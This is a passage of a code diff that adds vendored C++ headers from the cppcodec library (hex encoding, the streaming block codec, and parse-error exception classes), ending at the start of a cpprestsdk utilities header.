const uint8_t* b /*binary block*/) noexcept
|
||||||
|
{
|
||||||
|
return true ? 0 : throw std::domain_error("invalid last encoding symbol index in a tail");
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
static void decode_block(Result& decoded, ResultState&, const uint8_t* idx);
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
static void decode_tail(Result& decoded, ResultState&, const uint8_t* idx, size_t idx_len);
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void hex<CodecVariant>::decode_block(Result& decoded, ResultState& state, const uint8_t* idx)
|
||||||
|
{
|
||||||
|
data::put(decoded, state, static_cast<uint8_t>((idx[0] << 4) | idx[1]));
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void hex<CodecVariant>::decode_tail(Result&, ResultState&, const uint8_t*, size_t)
|
||||||
|
{
|
||||||
|
throw invalid_input_length(
|
||||||
|
"odd-length hex input is not supported by the streaming octet decoder, "
|
||||||
|
"use a place-based number decoder instead");
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_DETAIL_HEX
|
|
@ -0,0 +1,247 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_DETAIL_STREAM_CODEC
|
||||||
|
#define CPPCODEC_DETAIL_STREAM_CODEC
|
||||||
|
|
||||||
|
#include <stdlib.h> // for abort()
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#include "../parse_error.hpp"
|
||||||
|
#include "config.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant>
|
||||||
|
class stream_codec
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Result, typename ResultState> static void encode(
|
||||||
|
Result& encoded_result, ResultState&, const uint8_t* binary, size_t binary_size);
|
||||||
|
|
||||||
|
template <typename Result, typename ResultState> static void decode(
|
||||||
|
Result& binary_result, ResultState&, const char* encoded, size_t encoded_size);
|
||||||
|
|
||||||
|
static constexpr size_t encoded_size(size_t binary_size) noexcept;
|
||||||
|
static constexpr size_t decoded_max_size(size_t encoded_size) noexcept;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <bool GeneratesPadding> // default for CodecVariant::generates_padding() == false
|
||||||
|
struct padder {
|
||||||
|
template <typename CodecVariant, typename Result, typename ResultState, typename EncodedBlockSizeT>
|
||||||
|
CPPCODEC_ALWAYS_INLINE void operator()(Result&, ResultState&, EncodedBlockSizeT) { }
|
||||||
|
};
|
||||||
|
|
||||||
|
template<> // specialization for CodecVariant::generates_padding() == true
|
||||||
|
struct padder<true> {
|
||||||
|
template <typename CodecVariant, typename Result, typename ResultState, typename EncodedBlockSizeT>
|
||||||
|
CPPCODEC_ALWAYS_INLINE void operator()(
|
||||||
|
Result& encoded, ResultState& state, EncodedBlockSizeT num_padding_characters)
|
||||||
|
{
|
||||||
|
for (EncodedBlockSizeT i = 0; i < num_padding_characters; ++i) {
|
||||||
|
data::put(encoded, state, CodecVariant::padding_symbol());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template <size_t I>
|
||||||
|
struct enc {
|
||||||
|
// Block encoding: Go from 0 to (block size - 1), append a symbol for each iteration unconditionally.
|
||||||
|
template <typename Codec, typename CodecVariant, typename Result, typename ResultState>
|
||||||
|
static CPPCODEC_ALWAYS_INLINE void block(Result& encoded, ResultState& state, const uint8_t* src)
|
||||||
|
{
|
||||||
|
using EncodedBlockSizeT = decltype(Codec::encoded_block_size());
|
||||||
|
constexpr static const EncodedBlockSizeT SymbolIndex = static_cast<EncodedBlockSizeT>(I - 1);
|
||||||
|
|
||||||
|
enc<I - 1>().template block<Codec, CodecVariant>(encoded, state, src);
|
||||||
|
data::put(encoded, state, CodecVariant::symbol(Codec::template index<SymbolIndex>(src)));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Tail encoding: Go from 0 until (runtime) num_symbols, append a symbol for each iteration.
|
||||||
|
template <typename Codec, typename CodecVariant, typename Result, typename ResultState,
|
||||||
|
typename EncodedBlockSizeT = decltype(Codec::encoded_block_size())>
|
||||||
|
static CPPCODEC_ALWAYS_INLINE void tail(
|
||||||
|
Result& encoded, ResultState& state, const uint8_t* src, EncodedBlockSizeT num_symbols)
|
||||||
|
{
|
||||||
|
constexpr static const EncodedBlockSizeT SymbolIndex = Codec::encoded_block_size() - I;
|
||||||
|
constexpr static const EncodedBlockSizeT NumSymbols = SymbolIndex + static_cast<EncodedBlockSizeT>(1);
|
||||||
|
|
||||||
|
if (num_symbols == NumSymbols) {
|
||||||
|
data::put(encoded, state, CodecVariant::symbol(Codec::template index_last<SymbolIndex>(src)));
|
||||||
|
padder<CodecVariant::generates_padding()> pad;
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
pad.operator()<CodecVariant>(encoded, state, Codec::encoded_block_size() - NumSymbols);
|
||||||
|
#else
|
||||||
|
pad.template operator()<CodecVariant>(encoded, state, Codec::encoded_block_size() - NumSymbols);
|
||||||
|
#endif
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
data::put(encoded, state, CodecVariant::symbol(Codec::template index<SymbolIndex>(src)));
|
||||||
|
enc<I - 1>().template tail<Codec, CodecVariant>(encoded, state, src, num_symbols);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template<> // terminating specialization
|
||||||
|
struct enc<0> {
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant, typename Result, typename ResultState>
|
||||||
|
static CPPCODEC_ALWAYS_INLINE void block(Result&, ResultState&, const uint8_t*) { }
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant, typename Result, typename ResultState,
|
||||||
|
typename EncodedBlockSizeT = decltype(Codec::encoded_block_size())>
|
||||||
|
static CPPCODEC_ALWAYS_INLINE void tail(Result&, ResultState&, const uint8_t*, EncodedBlockSizeT)
|
||||||
|
{
|
||||||
|
abort(); // Not reached: block() should be called if num_symbols == block size, not tail().
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void stream_codec<Codec, CodecVariant>::encode(
|
||||||
|
Result& encoded_result, ResultState& state,
|
||||||
|
const uint8_t* src, size_t src_size)
|
||||||
|
{
|
||||||
|
using encoder = enc<Codec::encoded_block_size()>;
|
||||||
|
|
||||||
|
const uint8_t* src_end = src + src_size;
|
||||||
|
|
||||||
|
if (src_size >= Codec::binary_block_size()) {
|
||||||
|
src_end -= Codec::binary_block_size();
|
||||||
|
|
||||||
|
for (; src <= src_end; src += Codec::binary_block_size()) {
|
||||||
|
encoder::template block<Codec, CodecVariant>(encoded_result, state, src);
|
||||||
|
}
|
||||||
|
src_end += Codec::binary_block_size();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (src_end > src) {
|
||||||
|
auto remaining_src_len = src_end - src;
|
||||||
|
if (!remaining_src_len || remaining_src_len >= Codec::binary_block_size()) {
|
||||||
|
abort();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
auto num_symbols = Codec::num_encoded_tail_symbols(static_cast<uint8_t>(remaining_src_len));
|
||||||
|
encoder::template tail<Codec, CodecVariant>(encoded_result, state, src, num_symbols);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant>
|
||||||
|
template <typename Result, typename ResultState>
|
||||||
|
inline void stream_codec<Codec, CodecVariant>::decode(
|
||||||
|
Result& binary_result, ResultState& state,
|
||||||
|
const char* src_encoded, size_t src_size)
|
||||||
|
{
|
||||||
|
const char* src = src_encoded;
|
||||||
|
const char* src_end = src + src_size;
|
||||||
|
|
||||||
|
uint8_t idx[Codec::encoded_block_size()] = {};
|
||||||
|
uint8_t last_value_idx = 0;
|
||||||
|
|
||||||
|
while (src < src_end) {
|
||||||
|
if (CodecVariant::should_ignore(idx[last_value_idx] = CodecVariant::index_of(*(src++)))) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (CodecVariant::is_special_character(idx[last_value_idx])) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
++last_value_idx;
|
||||||
|
if (last_value_idx == Codec::encoded_block_size()) {
|
||||||
|
Codec::decode_block(binary_result, state, idx);
|
||||||
|
last_value_idx = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t last_idx = last_value_idx;
|
||||||
|
if (CodecVariant::is_padding_symbol(idx[last_value_idx])) {
|
||||||
|
if (!last_value_idx) {
|
||||||
|
// Don't accept padding at the start of a block.
|
||||||
|
// The encoder should have omitted that padding altogether.
|
||||||
|
throw padding_error();
|
||||||
|
}
|
||||||
|
// We're in here because we just read a (first) padding character. Try to read more.
|
||||||
|
++last_idx;
|
||||||
|
while (src < src_end) {
|
||||||
|
// Use idx[last_value_idx] to avoid declaring another uint8_t. It's unused now so that's okay.
|
||||||
|
if (CodecVariant::is_eof(idx[last_value_idx] = CodecVariant::index_of(*(src++)))) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if (!CodecVariant::is_padding_symbol(idx[last_value_idx])) {
|
||||||
|
throw padding_error();
|
||||||
|
}
|
||||||
|
|
||||||
|
++last_idx;
|
||||||
|
if (last_idx > Codec::encoded_block_size()) {
|
||||||
|
throw padding_error();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (last_idx) {
|
||||||
|
if (CodecVariant::requires_padding() && last_idx != Codec::encoded_block_size()) {
|
||||||
|
// If the input is not a multiple of the block size then the input is incorrect.
|
||||||
|
throw padding_error();
|
||||||
|
}
|
||||||
|
if (last_value_idx >= Codec::encoded_block_size()) {
|
||||||
|
abort();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Codec::decode_tail(binary_result, state, idx, last_value_idx);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant>
|
||||||
|
inline constexpr size_t stream_codec<Codec, CodecVariant>::encoded_size(size_t binary_size) noexcept
|
||||||
|
{
|
||||||
|
using C = Codec;
|
||||||
|
|
||||||
|
// constexpr rules make this a lot harder to read than it actually is.
|
||||||
|
return CodecVariant::generates_padding()
|
||||||
|
// With padding, the encoded size is a multiple of the encoded block size.
|
||||||
|
// To calculate that, round the binary size up to multiple of the binary block size,
|
||||||
|
// then convert to encoded by multiplying with { base32: 8/5, base64: 4/3 }.
|
||||||
|
? (binary_size + (C::binary_block_size() - 1)
|
||||||
|
- ((binary_size + (C::binary_block_size() - 1)) % C::binary_block_size()))
|
||||||
|
* C::encoded_block_size() / C::binary_block_size()
|
||||||
|
// No padding: only pad to the next multiple of 5 bits, i.e. at most a single extra byte.
|
||||||
|
: (binary_size * C::encoded_block_size() / C::binary_block_size())
|
||||||
|
+ (((binary_size * C::encoded_block_size()) % C::binary_block_size()) ? 1 : 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
template <typename Codec, typename CodecVariant>
|
||||||
|
inline constexpr size_t stream_codec<Codec, CodecVariant>::decoded_max_size(size_t encoded_size) noexcept
|
||||||
|
{
|
||||||
|
using C = Codec;
|
||||||
|
|
||||||
|
return CodecVariant::requires_padding()
|
||||||
|
? (encoded_size / C::encoded_block_size() * C::binary_block_size())
|
||||||
|
: (encoded_size / C::encoded_block_size() * C::binary_block_size())
|
||||||
|
+ ((encoded_size % C::encoded_block_size())
|
||||||
|
* C::binary_block_size() / C::encoded_block_size());
|
||||||
|
}
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_DETAIL_STREAM_CODEC
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_HEX_DEFAULT_LOWER
|
||||||
|
#define CPPCODEC_HEX_DEFAULT_LOWER
|
||||||
|
|
||||||
|
#include "hex_lower.hpp"
|
||||||
|
|
||||||
|
using hex = cppcodec::hex_lower;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_HEX_DEFAULT_LOWER
|
|
@ -0,0 +1,31 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_HEX_DEFAULT_UPPER
|
||||||
|
#define CPPCODEC_HEX_DEFAULT_UPPER
|
||||||
|
|
||||||
|
#include "hex_upper.hpp"
|
||||||
|
|
||||||
|
using hex = cppcodec::hex_upper;
|
||||||
|
|
||||||
|
#endif // CPPCODEC_HEX_DEFAULT_UPPER
|
|
@ -0,0 +1,57 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_HEX_LOWER
|
||||||
|
#define CPPCODEC_HEX_LOWER
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/hex.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
static constexpr const char hex_lower_alphabet[] = {
|
||||||
|
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', // at index 10
|
||||||
|
'a', 'b', 'c', 'd', 'e', 'f'
|
||||||
|
};
|
||||||
|
static_assert(sizeof(hex_lower_alphabet) == 16, "hex alphabet must have 16 values");
|
||||||
|
|
||||||
|
class hex_lower : public hex_base
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, hex_lower>;
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return hex_lower_alphabet[index];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using hex_lower = detail::codec<detail::hex<detail::hex_lower>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_HEX_LOWER
|
|
@ -0,0 +1,57 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_HEX_UPPER
|
||||||
|
#define CPPCODEC_HEX_UPPER
|
||||||
|
|
||||||
|
#include "detail/codec.hpp"
|
||||||
|
#include "detail/hex.hpp"
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
|
||||||
|
static constexpr const char hex_upper_alphabet[] = {
|
||||||
|
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
|
||||||
|
'A', 'B', 'C', 'D', 'E', 'F'
|
||||||
|
};
|
||||||
|
static_assert(sizeof(hex_upper_alphabet) == 16, "hex alphabet must have 16 values");
|
||||||
|
|
||||||
|
class hex_upper : public hex_base
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
template <typename Codec> using codec_impl = stream_codec<Codec, hex_upper>;
|
||||||
|
|
||||||
|
static inline constexpr char symbol(uint8_t index)
|
||||||
|
{
|
||||||
|
return hex_upper_alphabet[index];
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace detail
|
||||||
|
|
||||||
|
using hex_upper = detail::codec<detail::hex<detail::hex_upper>>;
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_HEX_UPPER
|
|
@ -0,0 +1,109 @@
|
||||||
|
/**
|
||||||
|
* Copyright (C) 2015 Topology LP
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
* of this software and associated documentation files (the "Software"), to
|
||||||
|
* deal in the Software without restriction, including without limitation the
|
||||||
|
* rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||||
|
* sell copies of the Software, and to permit persons to whom the Software is
|
||||||
|
* furnished to do so, subject to the following conditions:
|
||||||
|
*
|
||||||
|
* The above copyright notice and this permission notice shall be included in
|
||||||
|
* all copies or substantial portions of the Software.
|
||||||
|
*
|
||||||
|
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
|
||||||
|
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||||
|
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||||
|
* IN THE SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CPPCODEC_PARSE_ERROR
|
||||||
|
#define CPPCODEC_PARSE_ERROR
|
||||||
|
|
||||||
|
#include <stdexcept>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
namespace cppcodec {
|
||||||
|
|
||||||
|
namespace detail {
|
||||||
|
// <*stream> headers include a lot of code and noticeably increase compile times.
|
||||||
|
// The only thing we want from them really is a char-to-string conversion.
|
||||||
|
// That's easy to implement with many less lines of code, so let's do it ourselves.
|
||||||
|
template <int N>
|
||||||
|
static void uctoa(unsigned char n, char (&s)[N])
|
||||||
|
{
|
||||||
|
static_assert(N >= 4, "need at least 4 bytes to convert an unsigned char to string safely");
|
||||||
|
int i = sizeof(s) - 1;
|
||||||
|
int num_chars = 1;
|
||||||
|
s[i--] = '\0';
|
||||||
|
do { // generate digits in reverse order
|
||||||
|
s[i--] = n % 10 + '0'; // get next digit
|
||||||
|
++num_chars;
|
||||||
|
} while ((n /= 10) > 0); // delete it
|
||||||
|
|
||||||
|
if (num_chars == sizeof(s)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
for (i = 0; i < num_chars; ++i) { // move chars to front of string
|
||||||
|
s[i] = s[i + (sizeof(s) - num_chars)];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} // end namespace detail
|
||||||
|
|
||||||
|
|
||||||
|
class parse_error : public std::domain_error
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
using std::domain_error::domain_error;
|
||||||
|
};
|
||||||
|
|
||||||
|
// Avoids memory allocation, so it can be used in constexpr functions.
|
||||||
|
class symbol_error : public parse_error
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
symbol_error(char c)
|
||||||
|
: parse_error(symbol_error::make_error_message(c))
|
||||||
|
, m_symbol(c)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
symbol_error(const symbol_error&) = default;
|
||||||
|
|
||||||
|
char symbol() const noexcept { return m_symbol; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
static std::string make_error_message(char c)
|
||||||
|
{
|
||||||
|
char s[4];
|
||||||
|
detail::uctoa(*reinterpret_cast<unsigned char*>(&c), s);
|
||||||
|
return std::string("parse error: character [") + &(s[0]) + " '" + c + "'] out of bounds";
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
char m_symbol;
|
||||||
|
};
|
||||||
|
|
||||||
|
class invalid_input_length : public parse_error
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
using parse_error::parse_error;
|
||||||
|
};
|
||||||
|
|
||||||
|
class padding_error : public invalid_input_length
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
padding_error()
|
||||||
|
: invalid_input_length("parse error: codec expects padded input string but padding was invalid")
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
padding_error(const padding_error&) = default;
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace cppcodec
|
||||||
|
|
||||||
|
#endif // CPPCODEC_PARSE_ERROR
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,697 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Various common utilities.
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/basic_types.h"
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <chrono>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <limits.h>
|
||||||
|
#include <locale.h>
|
||||||
|
#include <random>
|
||||||
|
#include <string>
|
||||||
|
#include <system_error>
|
||||||
|
#include <vector>
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#include <sys/time.h>
|
||||||
|
#if !defined(ANDROID) && !defined(__ANDROID__) && defined(HAVE_XLOCALE_H) // CodePlex 269
|
||||||
|
/* Systems using glibc: xlocale.h has been removed from glibc 2.26
|
||||||
|
The above include of locale.h is sufficient
|
||||||
|
Further details: https://sourceware.org/git/?p=glibc.git;a=commit;h=f0be25b6336db7492e47d2e8e72eb8af53b5506d */
|
||||||
|
#include <xlocale.h>
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/// Various utilities for string conversions and date and time manipulation.
|
||||||
|
namespace utility
|
||||||
|
{
|
||||||
|
// Left over from VS2010 support, remains to avoid breaking.
|
||||||
|
typedef std::chrono::seconds seconds;
|
||||||
|
|
||||||
|
/// Functions for converting to/from std::chrono::seconds to xml string.
|
||||||
|
namespace timespan
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Converts a timespan/interval in seconds to xml duration string as specified by
|
||||||
|
/// http://www.w3.org/TR/xmlschema-2/#duration
|
||||||
|
/// </summary>
|
||||||
|
_ASYNCRTIMP utility::string_t __cdecl seconds_to_xml_duration(utility::seconds numSecs);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Converts an xml duration to timespan/interval in seconds
|
||||||
|
/// http://www.w3.org/TR/xmlschema-2/#duration
|
||||||
|
